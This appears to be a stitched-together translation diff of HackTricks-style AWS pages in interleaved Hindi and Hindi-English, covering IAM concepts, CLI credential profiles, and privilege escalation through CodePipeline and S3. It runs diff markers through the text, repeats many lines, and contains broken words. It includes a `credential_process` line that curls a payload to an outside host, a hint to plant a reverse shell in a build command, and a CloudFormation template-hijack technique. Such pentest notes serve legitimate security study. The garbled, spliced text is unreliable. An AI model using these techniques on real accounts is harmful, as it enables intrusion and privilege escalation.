Inline policies उपयोगी हैं अगर आप **policy और उस identity जिसके साथ यह apply की गई है, के बीच strict one-to-one relationship बनाए रखना** चाहते हैं। उदाहरण के लिए, आप सुनिश्चित करना चाहते हैं कि policy में permissions गलती से intended identity के अलावा किसी दूसरी identity को assign न हो जाएं। जब आप inline policy use करते हैं, तो policy की permissions गलती से wrong identity से attach नहीं हो सकतीं। इसके अलावा, जब आप AWS Management Console से उस identity को delete करते हैं, तो identity में embedded policies भी delete हो जाती हैं। ऐसा इसलिए क्योंकि वे principal entity का हिस्सा होती हैं।
#### संसाधन बाल्टी नीतियाँ
#### Resource Bucket Policies
ये **नीतियाँ** हैं ज**संसाधनों** में परिभाषित की जा सकत है**AWS के सभी संसाधन उनका समर्थन नहीं करते**
ये **policies** हैं जिन्हें **resources** में define किया जा सकत है। **AWS के सभी resources इन्हें support नहीं करते**
यदि किसी प्रमुख पर उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है।
अगर किसी principal पर explicit deny नहीं है, और कोई resource policy उन्हें access grant करती है, तो उन्हें अनुमति मिल जाती है।
### IAM सीमाएँ
### IAM Boundaries
IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने** के लिए उपयोग की जा सकत है। इस तरह, भले ही उपयोगकर्ता को **विभिन्न नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
IAM boundaries का use **user या role को मिलने वाली permissions को limit करने** के लिए किया जा सकत है। इस तरह, भले ही किसी **different policy** द्वारा user को permissions का अलग set दिया गया हो, अगर वह उन्हें use करने की कोशिश करता है तो operation **fail** होगा।
एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा संकेत करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो ही अधिकतम है जो वह कर सकता है।
A boundary बस एक policy है जो user से attached होती है और **indicate करती है कि user या role के पास permissions का maximum level कितना हो सकता है**। इसलिए, **भले ही user के पास Administrator access हो**, अगर boundary कहती है कि वह सिर्फ S· buckets पढ़ सकता है, तो ही maximum है जो वह कर सकता है।
**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकता से अधिक अनुमतियाँ नहींं।
**यह**, **SCPs** और **following the least privilege** principle वे तरीके हैं जिनसे यह control किया जाता है कि users के पास जरूरत से ज्यादा permissions नं।
### सत्र नीतियाँ
### Session Policies
एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वही होती हैं जो भूमिका के पास होती हैं)।
A session policy एक **policy** है जो role assume किए जाने पर किसी तरह set होती है। यह उस session के लिए **IAM boundary** जैसी होती है: इसका मतलब है कि session policy permissions grant नहीं करती, बल्कि **उन्हें policy में बताए गए permissions तक restrict** करती है (जबकि maximum permissions role के पास होती हैं)।
यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा ह, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है
यह **security measures** के लिए उपयोगी है: जब कोई admin बहुत privileged role assume करने वाला ह, तो वह permission को सिर्फ session policy में बताए गए permissions तक restrict कर सकता है, अगर session compromise हो जाए
```bash
aws sts assume-role \
--role-arn <value> \
@@ -242,96 +242,96 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
नोट करें कि डिफ़ॉल्ट रूप से **AWS सत्रों में सत्र नीतियाँ जोड़ सकता है** जो तीसरे कारणों के कारण उत्पन्न होने वाल हैं। उदाहरण के लिए, [अप्रमाणित कॉग्निटो अनुमत भूमिकाओं](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में डिफ़ॉल्ट रूप से (उन्नत प्रमाणीकरण का उपयोग करते हुए), AWS **सत्र नीति के साथ सत्र क्रेडेंशियल्स** उत्पन्न करेगा जो उस सत्र को पहुँचने वाली सेवाओं को सीमित करता है [**निम्नलिखित सूची**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)।
ध्यान दें कि by default **AWS sessions में session policies जोड़ सकता है** जो third reasons के कारण generate होने वाल हैं। उदाहरण के लिए, [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में by default (using enhanced authentication), AWS **session credentials with a session policy** generate करेगा जो session द्वारा access किए जा सकने वाले services को [**following list तक सीमित**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) करता है
इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को क्रिया करने की अनुमति है, तो इसका मतलब है कि **एक सत्र नीति इसे रोक रही है**
इसलिए, अगर किसी point पर आपको error "... because no session policy allows the ..." मिले, और role को action perform करने का access है, तो इसका कारण यह है कि **एक session policy उसे रोक रही है**
### पहचान संघ
### Identity Federation
पहचान संघ **बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को AWS संसाधनों तक सुरक्षित रूप से पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स प्रदान किए।\
एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देग
Identity federation **users को identity providers से अनुमति देती है जो AWS के बाहरी है** ताकि वे AWS resources को securely access कर सकें, बिना किसी valid IAM user account के AWS user credentials दिए।\
Identity provider का एक उदाहरण आपका अपना corporate **Microsoft Active Directory** (via **SAML**) या **OpenID** services (जैसे **Google**) हो सकता है। Federated access फिर इसके users को AWS access करने देग
इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
इस trust को configure करने के लिए, एक **IAM Identity Provider generate (SAML or OAuth)** किया जाता है जो **other platform** पर **trust** करेगा। फिर, कम से कम एक **IAM role Identity Provider को assigned (trusting)** किया जाता है। यदि trusted platform का कोई user AWS access करता है, तो वह mentioned role के रूप में access करेगा।
हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकत हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा।
हालांकि, आप आमतौर पर third party platform में user के group के आधार पर **अलग role** देना चाहेंगे। तब, कई **IAM roles third party Identity Provider पर trust** कर सकत हैं और third party platform वही होगा जो users को एक role या दूसरे role को assume करने देगा।
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM पहचान केंद्र
### IAM Identity Center
AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑन का उत्तराधिकारी) AWS पहचान और पहुँच प्रबंधन (IAM) की क्षमताओं का विस्तार करता है ताकि **उपयोगकर्ताओं और उनक AWS** खातों और क्लाउड अनुप्रयोगों तक पहुँच के **प्रशासन को एक केंद्रीय स्थान** में लाया जा सके
AWS IAM Identity Center (successor to AWS Single Sign-On) AWS Identity and Access Management (IAM) की capabilities को expand करता है ताकि एक **central plac**e प्रदान किया जा सके जो **users और उनक AWS** accounts और cloud applications तक access की administration को एक साथ लाए
लॉगिन डोमेन कुछ इस तरह होगा `<user_input>.awsapps.com`
login domain कुछ ऐसा होगा `<user_input>.awsapps.com`
उपयोगकर्ताओं को लॉगिन करने के लिए, 3 पहचान स्रोतों का उपयोग किया जा सकत है:
users को login करने के लिए, 3 identity sources उपयोग कि जा सकत है:
- पहचान केंद्र निर्देशिका: नियमित AWS उपयोगकर्ता
- सक्रिय निर्देशिका: विभिन्न कनेक्टर्स का समर्थन करता है
- बाहरी पहचान प्रदाता: सभी उपयोगकर्ता और समूह एक बाहरी पहचान प्रदाता (IdP) से आते हैं
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: सभी users और groups एक external Identity Provider (IdP) से आते हैं
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**
Identity Center directory के सबसे सरल case में, **Identity Center के पास users & groups की एक list होगी** और वह उन्हें organization के **किसी भी account** के लिए **policies assign** कर पाएगा
एक पहचान केंद्र उपयोगकर्ता/समूह को एक खाते तक पहुँच देने के लिए एक **SAML पहचान प्रदाता जो पहचान केंद्र पर विश्वास करता है, बनाया जाएगा**, और एक **भूमिका जो निर्दिष्ट नीतियों के साथ पहचान प्रदाता पर विश्वास करती है, गंतव्य खाते में बना जाएग**
किसी account में Identity Center user/group को access देने के लिए एक **SAML Identity Provider जो Identity Center पर trust करता ह बनाया जाएगा**, और destination account में **Identity Provider पर trust करने वाला एक role, indicated policies के साथ, बनाया जाएग**
#### AwsSSOInlinePolicy
यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमति दी जाए**। उन खातों में बनाई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में ये अनुमतियाँ होंगी जिसे **`AwsSSOInlinePolicy`** कहा जाता है
**IAM Identity Center के माध्यम से बनाए roles को inline policies के जरिए permissions देना संभव है**। जिन accounts में roles बनाए हैं और जिन्हें **AWS Identity Center में inline policies** दी गई हैं, उनके पास ये permissions **AwsSSOInlinePolicy** नाम की inline policy में होंगी
इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **नहीं मतलब है कि इसके पास समान अनुमतियाँ हैं**
इसलिए, भले ही आप 2 roles देखें जिनमें **AwsSSOInlinePolicy** नाम की inline policy हो, इसका **यह मतलब नहीं है कि उनके permissions समान हैं**
### क्रॉस खाता विश्वास और भूमिकाएँ
### Cross Account Trusts and Roles
**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाए और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैउन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\
यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
**एक user** (trusting) कुछ policies के साथ एक Cross Account Role बना सकता है और फिर, **दूसरे user** (trusted) को **अपने account तक access** करने दे सकता है, लेकिन केवल **नई role policies में indicated access** के साथ। इसे बनाने के लिए, बस एक नया Role बनाए और Cross Account Role select करें। Roles for Cross-Account Access दो options देता है। अपने owned AWS accounts के बीच access प्रदान करना, और आपके owned एक account तथा third party AWS account के बीच access प्रदान करना।\
यह recommended है कि **trusted user को specify करें और कोई generic चीज़ न डालें** क्योंकि otherwise, federated users जैसे other authenticated users भी इस trust का abuse कर सकेंगे।
### AWS सरल AD
### AWS Simple AD
समर्थित नहीं:
Supported नहीं:
- विश्वास संबंध
- AD प्रशासन केंद्र
- पूर्ण PS API समर्थन
- AD रीसाइक्ल बिन
- समूह प्रबंधित सेवा खाते
- स्कीमा एक्सटेंशन
- OS या उदाहरणों तक सीधी पहुँच नहीं
- Trust Relations
- AD Admin Center
- Full PS API support
- AD Recycle Bin
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
#### वेब संघ या OpenID प्रमाणीकरण
#### Web Federation or OpenID Authentication
ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाकि, यह AWS कंसोल तक पहुँच नहीं देता, केवल AWS के भीतर संसाधनों तक पहुँच देता है।
app AssumeRoleWithWebIdentity का उपयोग temporary credentials बनाने के लिए करता है। हालाकि, इससे AWS console access नहीं मिलता, केवल AWS के अंदर resources तक access मिलता है।
### अन्य IAM विकल्प
### Other IAM options
- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
- आप **password policy setting** options जैसे minimum length और password requirements set कर सकते हैं।
- आप current credentials की जानकारी वाला **"Credential Report"** डाउनलोड कर सकते हैं (जैसे user creation time, password enabled है या नहीं...)। आप हर **चार hours** में एक बार तक credential report generate कर सकते हैं।
AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कसी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें।
AWS Identity and Access Management (IAM) पूरे AWS में **fine-grained access control** प्रदान करता है। IAM के साथ, आप specify कर सकते हैं **कौन किservices और resources को access कर सकता है**, और किन conditions के तहत। IAM policies के साथ, आप अपनी workforce और systems के लिए permissions manage करते हैं ताकि **least-privilege permissions** सुनिश्चित की जा सकें।
### IAM ID उपसर्ग
### IAM ID Prefixes
[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के अनुसार पा सकते हैं:
[**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) में आप keys के **IAM ID prefixe** उनके nature के आधार पर find कर सकते हैं:
| पहचानकर्ता कोड | विवरण |
| Identifier Code | Description |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | संदर्भ-विशिष्ट क्रेडेंशियल |
| AGPA | उपयोगकर्ता समूह |
| AIDA | IAM उपयोगकर्ता |
| AIPA | अमेज़न EC2 उदाहरण प्रोफ़ाइल |
| AKIA | पहुँच कुंजी |
| ANPA | प्रबंधित नीति |
| ANVA | प्रबंधित नीति में संस्करण |
| APKA | सार्वजनिक कुंजी |
| AROA | भूमिका |
| ASCA | प्रमाणपत्र |
| ASIA | [अस्थायी (AWS STS) पहुँच कुंजी आईडी](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) इस उपसर्ग का उपयोग करत हैं, लेकिन केवल गुप्त पहुँच कुंजी और सत्र टोकन के संयोजन में अद्वितीय होत हैं। |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) इस prefix का use करत हैं, लेकिन ये केवल secret access key और session token के combination में ही unique होत हैं। |
### खातों का ऑडिट करने के लिए अनुशंसित अनुमतियाँ
### Recommended permissions to audit accounts
निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा की पढ़ने की पहुँच प्रदान करते हैं:
निम्न privileges विभिन्न metadata का read access grant करते हैं:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -342,13 +342,13 @@ AWS पहचान और पहुँच प्रबंधन (IAM) **AWS क
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
## विविध
## Misc
### CLI प्रमाणीकरण
### CLI Authentication
एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए आपको **स्थानीय क्रेडेंशियल्स** की आवश्यकता होती है। डिफ़ॉल्ट रूप से आप न्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\
उस फ़ाइल में आपके पास एक से अधिक प्रोफ़ाइल हो सकत हैं, यदि **कोई प्रोफ़ाइल** निर्दिष्ट नहीं की गई है तो **aws cli** का उपयोग करते समय, उस फ़ाइल में **`[default]`** नामक प्रोफ़ाइल का उपयोग किया जाएगा।\
एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल फ़ाइल का उदाहरण:
एक regular user को CLI के जरिए AWS authenticate करने के लिए आपको **local credentials** की आवश्यकता होती है। By default आप न्हें `~/.aws/credentials` में **manually** configure कर सकते हैं या **running** `aws configure` के जरिए।\
उस file में एक से अधिक profile हो सकत हैं; यदि **aws cli** का उपयोग करते समय कोई profile specify नहीं किया गया है, तो उस file में मौजूद **`[default]`** नाम वाला profile use किया जाएगा।\
1 से अधिक profile वाली credentials file का example:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -359,10 +359,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के भीतर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की आवश्यकता नहीं है।
यदि आपको **different AWS accounts** तक access करने की जरूरत है और आपके profile को उन accounts के अंदर **assume a role** करने की access दी गई है, तो आपको हर बार manually STS call करने की जरूरत नहीं है (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) और credentials configure करने की भी जरूरत नहीं है।
आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएगा)।\
एक कॉन्फ़िग फ़ाइल का उदाहरण:
आप `~/.aws/config` file का उपयोग करके [ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) कर सकते हैं, और फिर `--profile` param को सामान्य रूप से use कर सकते हैं (user के लिए `assume-role` transparent way में perform किया जाएगा)।\
एक config file example:
```
[profile acc2]
region=eu-west-2
@@ -371,20 +371,20 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
इस कॉन्फ़िग फ़ाइल के साथ आप aws cli का उपयोग कर सकते हैं जैसे:
इस config file के साथ आप फिर aws cli इस तरह use कर सकते हैं:
```
aws --profile acc2 ...
```
यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **विस्तार** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
यदि आप इसके जैसा कुछ **similar** लेकिन **browser** के लिए ढूंढ रहे हैं, तो आप **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
#### अस्थायी क्रेडेंशियल्स का स्वचालन
#### Temporary credentials को automate करना
यदि आप एक ऐसे एप्लिकेशन का शोषण कर रहे हैं जो अस्थायी क्रेडेंशियल्स उत्पन्न करत है, तो हर कुछ मिनटों में जब वे समाप्त होते हैं, तो उन्हें अपने टर्मिनल में अपडेट करना थकाऊ हो सकता है। इसे कॉन्फ़िग फ़ाइल में `credential_process` निर्देश का उपयोग करके ठीक किया जा सकता है। उदाहरण के लिए, यदि आपके पास कुछ कमजोर वेबऐप है, तो आप कर सकते हैं:
यदि आप किसी ऐसी application का exploit कर रहे हैं जो temporary credentials generate करत है, तो उनके expire होने पर हर कुछ मिनट में उन्हें अपने terminal में update करना tedious हो सकता है। इसे config file में `credential_process` directive का उपयोग करके ठीक किया जा सकता है। उदाहरण के लिए, यदि आपके पास कोई vulnerable webapp है, तो आप ऐसा कर सकते हैं:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
ध्यान दें कि क्रेडेंशियल्स को निम्नलिखित प्रारूप में STDOUT पर लौटाया जाना _चाहिए_:
Note that credentials _must_ be returned to STDOUT in the following format:
```json
{
"Version": 1,
@@ -4,7 +4,7 @@
## codepipeline
For more info about codepipeline check:
codepipeline के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,26 +12,26 @@ For more info about codepipeline check:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
जब आप एक code pipeline बनाते हैं, आप एक **codepipeline IAM Role to run** निर्दिष्ट कर सकते हैं, इसलिए आप उन roles को compromise कर सकते हैं।
जब आप एक code pipeline बनाते हैं, तो आप **चलाने के लिए codepipeline IAM Role** निर्दिष्ट कर सकते हैं, इसलिए आप उन्हें compromise कर सकते हैं।
पिछल permissions के अलावा आपको **access to the place where the code is stored** (S3, ECR, github, bitbucket...) की आवश्यकता होगी।
पिछल permissions के अलावा, आपको **उस जगह तक access** चाहिए जहाँ code store किया गया है (S3, ECR, github, bitbucket...)
मैंने इसे web page पर करके टेस्ट किया। पहले बताई गई permissions वे List/Get ones नहीं हैं जो codepipeline बनाने के लिए चाहिए, लेकिन web पर इसे बनाने के लिए आपको साथ में ये भी चाहिए होंगे: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
मैंने इसे web page में process करके टेस्ट किया। पहले बताई गई permissions वे not List/Get वाली permissions हैं जो codepipeline बनाने के लिए चाहिए होती हैं, लेकिन web में इसे बनाने के लिए आपको यह भी चाहिए होगा: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
**build project** बनाते समय आप **चलाने के लिए command** निर्दिष्ट कर सकते हैं (rev shell?) और build phase को **privileged user** के रूप में चला सकते हैं, यही वह configuration है जिसे attacker को compromise करना होता है:
![](<../../../images/image (276).png>)
![AWS CodeBuild buildspec name field set to env during build project creation](<../../../images/image (276).png>)
![](<../../../images/image (181).png>)
![AWS CodeBuild privileged mode checkbox enabled for elevated build privileges](<../../../images/image (181).png>)
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
पिछल permissions के साथ codepipeline पर उपयोग किए गए role और चलाए जाने वाले command को modify करना संभव हो सकता है
यह संभव हो सकता है कि पिछल permissions के साथ codepipeline में इस्तेमाल होने वाले role और चलाए जाने वाले command को modify किया जाए
### `codepipeline:pollforjobs`
[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
[AWS बताता है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
> जब इस API को कॉल किया जात है, CodePipeline वह **S3 bucket के लिए अस्थायी credentials लौटाता है** जिसका उपयोग pipeline के artifacts को स्टोर करने के लिए किया जाता है, यदि उस action को इनपुट या आउटपुट artifacts के लिए उस S3 bucket तक access की आवश्यकता है। यह API action के लिए परिभाषित किसी भी **secret values** को भी लौटात है।
> जब यह API call की जात है, CodePipeline **pipeline के artifacts store करने के लिए उपयोग किए जाने वाले S3 bucket के लिए temporary credentials** लौटाता है, यदि action को input या output artifacts के लिए उस S3 bucket तक access चाहिए। यह API **action के लिए defined किसी भी secret values** को भी लौटात है।
{{#include ../../../../banners/hacktricks-training.md}}
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
उन permissions वाले attacker जिनके पास रोचक buckets पर अधिकार हैं, वे resources को hijack कर सकत है और privileges escalate कर सकत है
दिलचस्प buckets पर उन permissions के साथ एक attacker resources को hijack कर सकत है और privileges escalate कर सकत है।
उदाहरण के लिए, 'cf-templates-nohnwfax6a6i-us-east-1' नाम एक cloudformation bucket पर उन **permissions over a cloudformation bucket** वाल attacker deployment को hijack कर सकेंगे। यह access निम्नलिखित policy के साथ दिया जा सकत है:
उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नाम के एक cloudformation bucket पर वे **permissions** रखने वाल attacker deployment को hijack कर सकेगा। access निम्नलिखित policy के साथ द जा सकत है:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,30 @@
]
}
```
And the hijack is possible because there is a **template के bucket में upload होने के पल से लेकर template के deploy होने तक का छोटा समय अंतराल**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
और hijack संभव है क्योंकि **template के upload होने के moment** से लेकर **template के deploy होने** के moment तक **एक छोटा time window** होता है। एक attacker अपने account में बस एक **lambda function** बना सकता है जो **bucket notification भेजे जाने पर trigger** होगा, और **उस bucket की content** को **hijack** कर देगा।
![](<../../../images/image (174).png>)
![CloudFormation template bucket hijack diagram using an attacker-controlled Lambda to modify the uploaded template](<../../../images/image (174).png>)
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
For more information check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस attack को automate करने के लिए किया जा सकता है।\
अधिक जानकारी के लिए original research देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
These are the permissions to **S3 में objects को प्राप्त और अपलोड करने के लिए**. Several services inside AWS (and outside of it) use S3 storage to store **कॉन्फ़िग फाइलें**.\
An attacker with **पढ़ने की अनुमति (read access)** to them might find **संवेदनशील जानकारी** on them.\
An attacker with **लिखने की अनुमति (write access)** to them could **डेटा को modify करके किसी service का दुरुपयोग कर के privileges escalate करने की कोशिश कर सकता है**.\
These are some examples:
ये permissions **S3 में objects को get और upload** करने के लिए हैं। AWS के अंदर (और बाहर भी) कई services **config files** store करने के लिए S3 storage का उपयोग करती हैं।\
इन तक **read access** रखने वाला attacker इनमें **sensitive information** पा सकता है।\
इन तक **write access** रखने वाला attacker data को **modify** करके किसी service का misuse कर सकता है और **privileges escalate** करने की कोशिश कर सकता है\
ये कुछ examples हैं:
